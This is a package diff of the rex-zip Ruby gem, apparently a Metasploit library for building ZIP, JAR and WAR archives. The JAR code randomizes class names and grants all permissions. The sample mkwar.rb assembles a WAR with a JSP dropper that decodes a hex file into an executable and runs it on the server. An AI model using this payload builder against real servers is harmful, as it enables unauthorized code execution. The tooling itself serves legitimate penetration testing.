rex-zip 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +2 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +52 -0
- data/Gemfile +5 -0
- data/LICENSE +27 -0
- data/README.md +52 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/lib/rex/zip.rb +97 -0
- data/lib/rex/zip/archive.rb +130 -0
- data/lib/rex/zip/blocks.rb +184 -0
- data/lib/rex/zip/entry.rb +122 -0
- data/lib/rex/zip/jar.rb +283 -0
- data/lib/rex/zip/samples/comment.rb +32 -0
- data/lib/rex/zip/samples/mkwar.rb +138 -0
- data/lib/rex/zip/samples/mkzip.rb +19 -0
- data/lib/rex/zip/samples/recursive.rb +58 -0
- data/lib/rex/zip/version.rb +5 -0
- data/rex-zip.gemspec +26 -0
- metadata +197 -0
- metadata.gz.sig +0 -0
@@ -0,0 +1,122 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
module Rex
|
4
|
+
module Zip
|
5
|
+
|
6
|
+
#
|
7
|
+
# An Entry represents a logical file or directory to be stored in an Archive
|
8
|
+
#
|
9
|
+
class Entry
|
10
|
+
|
11
|
+
attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name
|
12
|
+
attr_reader :data
|
13
|
+
|
14
|
+
def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil)
|
15
|
+
@name = fname.unpack("C*").pack("C*")
|
16
|
+
@central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil)
|
17
|
+
@data = data.unpack("C*").pack("C*")
|
18
|
+
@xtra = xtra
|
19
|
+
@xtra ||= ''
|
20
|
+
@comment = comment
|
21
|
+
@comment ||= ''
|
22
|
+
@attrs = attrs
|
23
|
+
@attrs ||= 0
|
24
|
+
|
25
|
+
# XXX: sanitize timestmap (assume now)
|
26
|
+
timestamp ||= Time.now
|
27
|
+
@flags = CompFlags.new(0, compmeth, timestamp)
|
28
|
+
|
29
|
+
if (@data)
|
30
|
+
compress
|
31
|
+
else
|
32
|
+
@data = ''
|
33
|
+
@info = CompInfo.new(0, 0, 0)
|
34
|
+
end
|
35
|
+
@compdata ||= ''
|
36
|
+
end
|
37
|
+
|
38
|
+
def data=(val)
|
39
|
+
@data = val.unpack("C*").pack("C*")
|
40
|
+
compress
|
41
|
+
end
|
42
|
+
|
43
|
+
#
|
44
|
+
# Compress the #data and store it for later use. If this entry's compression method
|
45
|
+
# produces a larger blob than the original data, the method is changed to CM_STORE.
|
46
|
+
#
|
47
|
+
def compress
|
48
|
+
@crc = Zlib.crc32(@data, 0)
|
49
|
+
case @flags.compmeth
|
50
|
+
|
51
|
+
when CM_STORE
|
52
|
+
@compdata = @data
|
53
|
+
|
54
|
+
when CM_DEFLATE
|
55
|
+
z = Zlib::Deflate.new(Zlib::BEST_COMPRESSION)
|
56
|
+
@compdata = z.deflate(@data, Zlib::FINISH)
|
57
|
+
z.close
|
58
|
+
@compdata = @compdata[2, @compdata.length-6]
|
59
|
+
|
60
|
+
else
|
61
|
+
raise 'Unsupported compression method: %u' % @flags.compmeth
|
62
|
+
end
|
63
|
+
|
64
|
+
# if compressing doesn't help, just store it
|
65
|
+
if (@compdata.length > @data.length)
|
66
|
+
@compdata = @data
|
67
|
+
@flags.compmeth = CM_STORE
|
68
|
+
end
|
69
|
+
|
70
|
+
@info = CompInfo.new(@crc, @compdata.length, @data.length)
|
71
|
+
end
|
72
|
+
|
73
|
+
|
74
|
+
def relative_path
|
75
|
+
get_relative_path(@name)
|
76
|
+
end
|
77
|
+
|
78
|
+
def central_dir_path
|
79
|
+
return nil if @central_dir_name.to_s.strip.empty?
|
80
|
+
get_relative_path(@central_dir_name)
|
81
|
+
end
|
82
|
+
|
83
|
+
|
84
|
+
#
|
85
|
+
# Return the compressed data in a format suitable for adding to an Archive
|
86
|
+
#
|
87
|
+
def pack
|
88
|
+
# - lfh 1
|
89
|
+
lfh = LocalFileHdr.new(self)
|
90
|
+
ret = lfh.pack
|
91
|
+
|
92
|
+
# - data 1
|
93
|
+
if (@compdata)
|
94
|
+
ret << @compdata
|
95
|
+
end
|
96
|
+
|
97
|
+
if (@gpbf & GPBF_USE_DATADESC)
|
98
|
+
# - data desc 1
|
99
|
+
dd = DataDesc.new(@info)
|
100
|
+
ret << dd.pack
|
101
|
+
end
|
102
|
+
|
103
|
+
ret
|
104
|
+
end
|
105
|
+
|
106
|
+
def inspect
|
107
|
+
"#<#{self.class} name:#{name}, data:#{@data.length} bytes>"
|
108
|
+
end
|
109
|
+
|
110
|
+
private
|
111
|
+
|
112
|
+
def get_relative_path(path)
|
113
|
+
if (path[0,1] == '/')
|
114
|
+
return path[1, path.length]
|
115
|
+
end
|
116
|
+
path
|
117
|
+
end
|
118
|
+
|
119
|
+
end
|
120
|
+
|
121
|
+
end
|
122
|
+
end
|
data/lib/rex/zip/jar.rb
ADDED
@@ -0,0 +1,283 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
require 'rex/zip/archive'
|
4
|
+
|
5
|
+
module Rex
|
6
|
+
module Zip
|
7
|
+
|
8
|
+
#
|
9
|
+
# A Jar is a zip archive containing Java class files and a MANIFEST.MF listing
|
10
|
+
# those classes. Several variations exist based on the same idea of class
|
11
|
+
# files inside a zip, most notably:
|
12
|
+
# - WAR files store XML files, Java classes, JSPs and other stuff for
|
13
|
+
# servlet-based webservers (e.g.: Tomcat and Glassfish)
|
14
|
+
# - APK files are Android Package files
|
15
|
+
#
|
16
|
+
class Jar < Archive
|
17
|
+
attr_accessor :manifest
|
18
|
+
# @!attribute [rw] substitutions
|
19
|
+
# The substitutions to apply when randomizing. Randomization is designed to
|
20
|
+
# be used in packages and/or classes names.
|
21
|
+
#
|
22
|
+
# @return [Hash]
|
23
|
+
attr_accessor :substitutions
|
24
|
+
|
25
|
+
def initialize
|
26
|
+
@substitutions = {}
|
27
|
+
super
|
28
|
+
end
|
29
|
+
|
30
|
+
#
|
31
|
+
# Create a MANIFEST.MF file based on the current Archive#entries.
|
32
|
+
#
|
33
|
+
# See http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html for
|
34
|
+
# some explanation of the format.
|
35
|
+
#
|
36
|
+
# Example MANIFEST.MF
|
37
|
+
# Manifest-Version: 1.0
|
38
|
+
# Main-Class: metasploit.Payload
|
39
|
+
#
|
40
|
+
# Name: metasploit.dat
|
41
|
+
# SHA1-Digest: WJ7cUVYUryLKfQFmH80/ADfKmwM=
|
42
|
+
#
|
43
|
+
# Name: metasploit/Payload.class
|
44
|
+
# SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=
|
45
|
+
#
|
46
|
+
# The SHA1-Digest lines are optional unless the jar is signed (see #sign).
|
47
|
+
#
|
48
|
+
def build_manifest(opts={})
|
49
|
+
main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil)
|
50
|
+
app_name = (opts[:app_name] ? randomize(opts[:app_name]) : nil)
|
51
|
+
existing_manifest = nil
|
52
|
+
meta_inf_exists = @entries.find_all{|item| item.name == 'META-INF/' }.length > 0
|
53
|
+
|
54
|
+
@manifest = "Manifest-Version: 1.0\r\n"
|
55
|
+
@manifest << "Main-Class: #{main_class}\r\n" if main_class
|
56
|
+
@manifest << "Application-Name: #{app_name}\r\n" if app_name
|
57
|
+
@manifest << "Permissions: all-permissions\r\n"
|
58
|
+
@manifest << "\r\n"
|
59
|
+
@entries.each { |e|
|
60
|
+
next if e.name =~ %r|/$|
|
61
|
+
if e.name == "META-INF/MANIFEST.MF"
|
62
|
+
existing_manifest = e
|
63
|
+
next
|
64
|
+
end
|
65
|
+
#next unless e.name =~ /\.class$/
|
66
|
+
@manifest << "Name: #{e.name}\r\n"
|
67
|
+
#@manifest << "SHA1-Digest: #{Digest::SHA1.base64digest(e.data)}\r\n"
|
68
|
+
@manifest << "\r\n"
|
69
|
+
}
|
70
|
+
if existing_manifest
|
71
|
+
existing_manifest.data = @manifest
|
72
|
+
else
|
73
|
+
add_file("META-INF/", '') unless meta_inf_exists
|
74
|
+
add_file("META-INF/MANIFEST.MF", @manifest)
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
def to_s
|
79
|
+
pack
|
80
|
+
end
|
81
|
+
|
82
|
+
#
|
83
|
+
# Length of the *compressed* blob
|
84
|
+
#
|
85
|
+
def length
|
86
|
+
pack.length
|
87
|
+
end
|
88
|
+
|
89
|
+
#
|
90
|
+
# Add multiple files from an array
|
91
|
+
#
|
92
|
+
# +files+ should be structured like so:
|
93
|
+
# [
|
94
|
+
# [ "path", "to", "file1" ],
|
95
|
+
# [ "path", "to", "file2" ]
|
96
|
+
# ]
|
97
|
+
# and +path+ should be the location on the file system to find the files to
|
98
|
+
# add. +base_dir+ will be prepended to the path inside the jar.
|
99
|
+
#
|
100
|
+
# Example:
|
101
|
+
# war = Rex::Zip::Jar.new
|
102
|
+
# war.add_file("WEB-INF/", '')
|
103
|
+
# war.add_file("WEB-INF/web.xml", web_xml)
|
104
|
+
# war.add_file("WEB-INF/classes/", '')
|
105
|
+
# files = [
|
106
|
+
# [ "servlet", "examples", "HelloWorld.class" ],
|
107
|
+
# [ "Foo.class" ],
|
108
|
+
# [ "servlet", "Bar.class" ],
|
109
|
+
# ]
|
110
|
+
# war.add_files(files, "./class_files/", "WEB-INF/classes/")
|
111
|
+
#
|
112
|
+
# The above code would create a jar with the following structure from files
|
113
|
+
# found in ./class_files/ :
|
114
|
+
#
|
115
|
+
# +- WEB-INF/
|
116
|
+
# +- web.xml
|
117
|
+
# +- classes/
|
118
|
+
# +- Foo.class
|
119
|
+
# +- servlet/
|
120
|
+
# +- Bar.class
|
121
|
+
# +- examples/
|
122
|
+
# +- HelloWorld.class
|
123
|
+
#
|
124
|
+
def add_files(files, path, base_dir="")
|
125
|
+
files.each do |file|
|
126
|
+
# Add all of the subdirectories if they don't already exist
|
127
|
+
1.upto(file.length - 1) do |idx|
|
128
|
+
full = base_dir + file[0,idx].join("/") + "/"
|
129
|
+
if !(entries.map{|e|e.name}.include?(full))
|
130
|
+
add_file(full, '')
|
131
|
+
end
|
132
|
+
end
|
133
|
+
# Now add the actual file, grabbing data from the filesystem
|
134
|
+
fd = File.open(File.join( path, file ), "rb")
|
135
|
+
data = fd.read(fd.stat.size)
|
136
|
+
fd.close
|
137
|
+
add_file(base_dir + file.join("/"), data)
|
138
|
+
end
|
139
|
+
end
|
140
|
+
|
141
|
+
#
|
142
|
+
# Add a signature to this jar given a +key+ and a +cert+. +cert+ should be
|
143
|
+
# an instance of OpenSSL::X509::Certificate and +key+ is expected to be an
|
144
|
+
# instance of one of OpenSSL::PKey::DSA or OpenSSL::PKey::RSA.
|
145
|
+
#
|
146
|
+
# This method aims to create signature files compatible with the jarsigner
|
147
|
+
# tool destributed with the JDK and any JVM should accept the resulting
|
148
|
+
# jar.
|
149
|
+
#
|
150
|
+
# === Signature contents
|
151
|
+
# Modifies the META-INF/MANIFEST.MF entry adding SHA1-Digest attributes in
|
152
|
+
# each Name section. The signature consists of two files, a .SF and a .DSA
|
153
|
+
# (or .RSA if signing with an RSA key). The .SF file is similar to the
|
154
|
+
# manifest with Name sections but the SHA1-Digest is not optional. The
|
155
|
+
# difference is in what gets hashed for the SHA1-Digest line -- in the
|
156
|
+
# manifest, it is the file's contents, in the .SF, it is the file's section
|
157
|
+
# in the manifest (including trailing newline!). The .DSA/.RSA file is a
|
158
|
+
# PKCS7 signature of the .SF file contents.
|
159
|
+
#
|
160
|
+
# === Links
|
161
|
+
# A short description of the format:
|
162
|
+
# http://download.oracle.com/javase/1.4.2/docs/guide/jar/jar.html#Signed%20JAR%20File
|
163
|
+
#
|
164
|
+
# Some info on importing a private key into a keystore which is not
|
165
|
+
# directly supported by keytool for some unfathomable reason
|
166
|
+
# http://www.agentbob.info/agentbob/79-AB.html
|
167
|
+
#
|
168
|
+
def sign(key, cert, ca_certs=nil)
|
169
|
+
m = self.entries.find { |e| e.name == "META-INF/MANIFEST.MF" }
|
170
|
+
raise RuntimeError.new("Jar has no manifest") unless m
|
171
|
+
|
172
|
+
ca_certs ||= [ cert ]
|
173
|
+
|
174
|
+
new_manifest = ''
|
175
|
+
sigdata = "Signature-Version: 1.0\r\n"
|
176
|
+
sigdata << "Created-By: 1.6.0_18 (Sun Microsystems Inc.)\r\n"
|
177
|
+
sigdata << "\r\n"
|
178
|
+
|
179
|
+
# Grab the sections of the manifest
|
180
|
+
files = m.data.split(/\r?\n\r?\n/)
|
181
|
+
if files[0] =~ /Manifest-Version/
|
182
|
+
# keep the header as is
|
183
|
+
new_manifest << files[0]
|
184
|
+
new_manifest << "\r\n\r\n"
|
185
|
+
files = files[1,files.length]
|
186
|
+
end
|
187
|
+
|
188
|
+
# The file sections should now look like this:
|
189
|
+
# "Name: metasploit/Payload.class\r\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\r\n\r\n"
|
190
|
+
files.each do |f|
|
191
|
+
next unless f =~ /Name: (.*)/
|
192
|
+
name = $1
|
193
|
+
e = self.entries.find { |e| e.name == name }
|
194
|
+
if e
|
195
|
+
digest = OpenSSL::Digest::SHA1.digest(e.data)
|
196
|
+
manifest_section = "Name: #{name}\r\n"
|
197
|
+
manifest_section << "SHA1-Digest: #{[digest].pack('m').strip}\r\n"
|
198
|
+
manifest_section << "\r\n"
|
199
|
+
|
200
|
+
manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)
|
201
|
+
|
202
|
+
sigdata << "Name: #{name}\r\n"
|
203
|
+
sigdata << "SHA1-Digest: #{[manifest_digest].pack('m')}\r\n"
|
204
|
+
new_manifest << manifest_section
|
205
|
+
end
|
206
|
+
end
|
207
|
+
|
208
|
+
# Now overwrite with the new manifest
|
209
|
+
m.data = new_manifest
|
210
|
+
|
211
|
+
flags = 0
|
212
|
+
flags |= OpenSSL::PKCS7::BINARY
|
213
|
+
flags |= OpenSSL::PKCS7::DETACHED
|
214
|
+
# SMIME and ATTRs are technically valid in the signature but they
|
215
|
+
# both screw up the java verifier, so don't include them.
|
216
|
+
flags |= OpenSSL::PKCS7::NOSMIMECAP
|
217
|
+
flags |= OpenSSL::PKCS7::NOATTR
|
218
|
+
|
219
|
+
signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)
|
220
|
+
sigalg = case key
|
221
|
+
when OpenSSL::PKey::RSA; "RSA"
|
222
|
+
when OpenSSL::PKey::DSA; "DSA"
|
223
|
+
# Don't really know what to do if it's not DSA or RSA. Can
|
224
|
+
# OpenSSL::PKCS7 actually sign stuff with it in that case?
|
225
|
+
# Regardless, the java spec says signatures can only be RSA,
|
226
|
+
# DSA, or PGP, so just assume it's PGP and hope for the best
|
227
|
+
else; "PGP"
|
228
|
+
end
|
229
|
+
|
230
|
+
# SIGNFILE is the default name in documentation. MYKEY is probably
|
231
|
+
# more common, though because that's what keytool defaults to. We
|
232
|
+
# can probably randomize this with no ill effects.
|
233
|
+
add_file("META-INF/SIGNFILE.SF", sigdata)
|
234
|
+
add_file("META-INF/SIGNFILE.#{sigalg}", signature.to_der)
|
235
|
+
|
236
|
+
return true
|
237
|
+
end
|
238
|
+
|
239
|
+
# Adds a file to the JAR, randomizing the file name
|
240
|
+
# and the contents.
|
241
|
+
#
|
242
|
+
# @see Rex::Zip::Archive#add_file
|
243
|
+
def add_file(fname, fdata=nil, xtra=nil, comment=nil)
|
244
|
+
super(randomize(fname), randomize(fdata), xtra, comment)
|
245
|
+
end
|
246
|
+
|
247
|
+
# Adds a substitution to have into account when randomizing. Substitutions
|
248
|
+
# must be added immediately after {#initialize}.
|
249
|
+
#
|
250
|
+
# @param str [String] String to substitute. It's designed to randomize
|
251
|
+
# class and/or package names.
|
252
|
+
# @param bad [String] String containing bad characters to avoid when
|
253
|
+
# applying substitutions.
|
254
|
+
# @return [String] The substitution which will be used when randomizing.
|
255
|
+
def add_sub(str, bad = '')
|
256
|
+
if @substitutions.key?(str)
|
257
|
+
return @substitutions[str]
|
258
|
+
end
|
259
|
+
|
260
|
+
@substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad)
|
261
|
+
end
|
262
|
+
|
263
|
+
# Randomizes an input by applying the `substitutions` available.
|
264
|
+
#
|
265
|
+
# @param str [String] String to randomize.
|
266
|
+
# @return [String] The input `str` with all the possible `substitutions`
|
267
|
+
# applied.
|
268
|
+
def randomize(str)
|
269
|
+
return str if str.nil?
|
270
|
+
|
271
|
+
random = str
|
272
|
+
|
273
|
+
@substitutions.each do |orig, subs|
|
274
|
+
random = str.gsub(orig, subs)
|
275
|
+
end
|
276
|
+
|
277
|
+
random
|
278
|
+
end
|
279
|
+
|
280
|
+
end
|
281
|
+
|
282
|
+
end
|
283
|
+
end
|
@@ -0,0 +1,32 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
#
|
4
|
+
# Create a zip file with comments!
|
5
|
+
#
|
6
|
+
|
7
|
+
msfbase = __FILE__
|
8
|
+
while File.symlink?(msfbase)
|
9
|
+
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
10
|
+
end
|
11
|
+
inc = File.dirname(msfbase) + '/../../..'
|
12
|
+
$:.unshift(inc)
|
13
|
+
|
14
|
+
require 'rex/zip'
|
15
|
+
|
16
|
+
# example usage
|
17
|
+
zip = Rex::Zip::Archive.new
|
18
|
+
zip.add_file("elite.txt", "A" * 1024, nil, %Q<
|
19
|
+
+---------------+
|
20
|
+
| file comment! |
|
21
|
+
+---------------+
|
22
|
+
>)
|
23
|
+
zip.set_comment(%Q<
|
24
|
+
|
25
|
+
+------------------------------------------+
|
26
|
+
| |
|
27
|
+
| Hello! This is the Zip Archive comment! |
|
28
|
+
| |
|
29
|
+
+------------------------------------------+
|
30
|
+
|
31
|
+
>)
|
32
|
+
zip.save_to("lolz.zip")
|
@@ -0,0 +1,138 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
#
|
4
|
+
# Create a WAR archive!
|
5
|
+
#
|
6
|
+
|
7
|
+
msfbase = __FILE__
|
8
|
+
while File.symlink?(msfbase)
|
9
|
+
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
10
|
+
end
|
11
|
+
inc = File.dirname(msfbase) + '/../../..'
|
12
|
+
$:.unshift(inc)
|
13
|
+
|
14
|
+
|
15
|
+
require 'rex/zip'
|
16
|
+
|
17
|
+
|
18
|
+
def rand_text_alpha(len)
|
19
|
+
buff = ""
|
20
|
+
|
21
|
+
foo = []
|
22
|
+
foo += ('A' .. 'Z').to_a
|
23
|
+
foo += ('a' .. 'z').to_a
|
24
|
+
|
25
|
+
# Generate a buffer from the remaining bytes
|
26
|
+
if foo.length >= 256
|
27
|
+
len.times { buff << Kernel.rand(256) }
|
28
|
+
else
|
29
|
+
len.times { buff << foo[ rand(foo.length) ] }
|
30
|
+
end
|
31
|
+
|
32
|
+
return buff
|
33
|
+
end
|
34
|
+
|
35
|
+
|
36
|
+
exe = "exe " * 1024
|
37
|
+
var_payload = "var_payload"
|
38
|
+
var_name = "var_name"
|
39
|
+
|
40
|
+
|
41
|
+
zip = Rex::Zip::Archive.new
|
42
|
+
|
43
|
+
# begin meta-inf/
|
44
|
+
minf = [ 0xcafe, 0x0003 ].pack('Vv')
|
45
|
+
zip.add_file('META-INF/', nil, minf)
|
46
|
+
# end meta-inf/
|
47
|
+
|
48
|
+
# begin meta-inf/manifest.mf
|
49
|
+
mfraw = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
|
50
|
+
zip.add_file('META-INF/MANIFEST.MF', mfraw)
|
51
|
+
# end meta-inf/manifest.mf
|
52
|
+
|
53
|
+
# begin web-inf/
|
54
|
+
zip.add_file('WEB-INF/', '')
|
55
|
+
# end web-inf/
|
56
|
+
|
57
|
+
# begin web-inf/web.xml
|
58
|
+
webxmlraw = %q{<?xml version="1.0" ?>
|
59
|
+
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
|
60
|
+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
61
|
+
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
|
62
|
+
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
|
63
|
+
version="2.4">
|
64
|
+
<servlet>
|
65
|
+
<servlet-name>NAME</servlet-name>
|
66
|
+
<jsp-file>/PAYLOAD.jsp</jsp-file>
|
67
|
+
</servlet>
|
68
|
+
</web-app>
|
69
|
+
}
|
70
|
+
|
71
|
+
webxmlraw.gsub!(/NAME/, var_name)
|
72
|
+
webxmlraw.gsub!(/PAYLOAD/, var_payload)
|
73
|
+
|
74
|
+
zip.add_file('WEB-INF/web.xml', webxmlraw)
|
75
|
+
# end web-inf/web.xml
|
76
|
+
|
77
|
+
# begin <payload>.jsp
|
78
|
+
var_hexpath = rand_text_alpha(rand(8)+8)
|
79
|
+
var_exepath = rand_text_alpha(rand(8)+8)
|
80
|
+
var_data = rand_text_alpha(rand(8)+8)
|
81
|
+
var_inputstream = rand_text_alpha(rand(8)+8)
|
82
|
+
var_outputstream = rand_text_alpha(rand(8)+8)
|
83
|
+
var_numbytes = rand_text_alpha(rand(8)+8)
|
84
|
+
var_bytearray = rand_text_alpha(rand(8)+8)
|
85
|
+
var_bytes = rand_text_alpha(rand(8)+8)
|
86
|
+
var_counter = rand_text_alpha(rand(8)+8)
|
87
|
+
var_char1 = rand_text_alpha(rand(8)+8)
|
88
|
+
var_char2 = rand_text_alpha(rand(8)+8)
|
89
|
+
var_comb = rand_text_alpha(rand(8)+8)
|
90
|
+
var_exe = rand_text_alpha(rand(8)+8)
|
91
|
+
var_hexfile = rand_text_alpha(rand(8)+8)
|
92
|
+
var_proc = rand_text_alpha(rand(8)+8)
|
93
|
+
|
94
|
+
jspraw = "<%@ page import=\"java.io.*\" %>\n"
|
95
|
+
jspraw << "<%\n"
|
96
|
+
jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"#{var_hexfile}.txt\";\n"
|
97
|
+
jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n"
|
98
|
+
jspraw << "String #{var_data} = \"\";\n"
|
99
|
+
|
100
|
+
jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n"
|
101
|
+
jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n"
|
102
|
+
jspraw << "}\n"
|
103
|
+
|
104
|
+
jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n"
|
105
|
+
jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n"
|
106
|
+
|
107
|
+
jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n"
|
108
|
+
jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n"
|
109
|
+
jspraw << "#{var_inputstream}.read(#{var_bytearray});\n"
|
110
|
+
jspraw << "#{var_inputstream}.close();\n"
|
111
|
+
|
112
|
+
jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n"
|
113
|
+
jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n"
|
114
|
+
jspraw << "{\n"
|
115
|
+
jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n"
|
116
|
+
jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n"
|
117
|
+
jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n"
|
118
|
+
jspraw << "#{var_comb} <<= 4;\n"
|
119
|
+
jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n"
|
120
|
+
jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n"
|
121
|
+
jspraw << "}\n"
|
122
|
+
|
123
|
+
jspraw << "#{var_outputstream}.write(#{var_bytes});\n"
|
124
|
+
jspraw << "#{var_outputstream}.close();\n"
|
125
|
+
|
126
|
+
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
127
|
+
jspraw << "%>\n"
|
128
|
+
|
129
|
+
zip.add_file("#{var_payload}.jsp", jspraw)
|
130
|
+
# end <payload>.jsp
|
131
|
+
|
132
|
+
# begin <payload>.txt
|
133
|
+
payloadraw = exe.unpack('H*')[0]
|
134
|
+
zip.add_file("#{var_hexfile}.txt", payloadraw)
|
135
|
+
# end <payload>.txt
|
136
|
+
|
137
|
+
|
138
|
+
zip.save_to("test.war")
|